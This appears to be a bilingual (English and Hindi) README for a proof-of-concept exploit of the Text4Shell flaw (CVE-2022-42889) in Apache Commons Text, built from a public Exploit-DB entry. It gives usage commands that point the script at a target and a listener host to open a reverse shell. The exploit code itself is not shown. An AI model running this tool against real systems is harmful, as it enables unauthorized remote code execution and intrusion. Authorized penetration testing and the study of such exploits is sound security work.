goultarde/cve-2022-42889-text4shell
Proof of Concept (PoC) for CVE-2022-42889 (Text4Shell) targeting Apache Commons Text versions prior to 1.10.0. This script automates Remote Code Execution (RCE) via script interpolation to establish a reverse shell. This version is a structured optimization based on the original exploit found at Exploit-DB (ID: 52261).
यह स्क्रिप्ट एक पेनिट्रेशन टेस्टिंग टूल है जिसे Apache Commons Text (संस्करण < 1.10.0) में CVE-2022-42889 कमजोरी, जिसे Text4Shell के नाम से भी जाना जाता है, का शोषण करने के लिए डिज़ाइन किया गया है। यह एक रिवर्स शेल को ट्रिगर करने के लिए Java-आधारित पेलोड की डिलीवरी को स्वचालित करता है।
यह कार्यान्वयन सार्वजनिक शोषण पर आधारित है: https://www.exploit-db.com/exploits/52261
स्क्रिप्ट को Python 3 और requests लाइब्रेरी की आवश्यकता है।
pip install requests
python3 exploit.py -t $IP -p $PORT -u <path> -param $PARAMETER -L $LHOST -P $LPORT
python3 exploit.py -t 10.10.10.10 -p 8080 -u /search/ -param query -L 10.10.14.5 -P 139
यह उपकरण केवल शैक्षिक उद्देश्यों और अधिकृत पेनिट्रेशन टेस्टिंग के लिए है। इस स्क्रिप्ट के दुरुपयोग या क्षति के लिए लेखक जिम्मेदार नहीं है।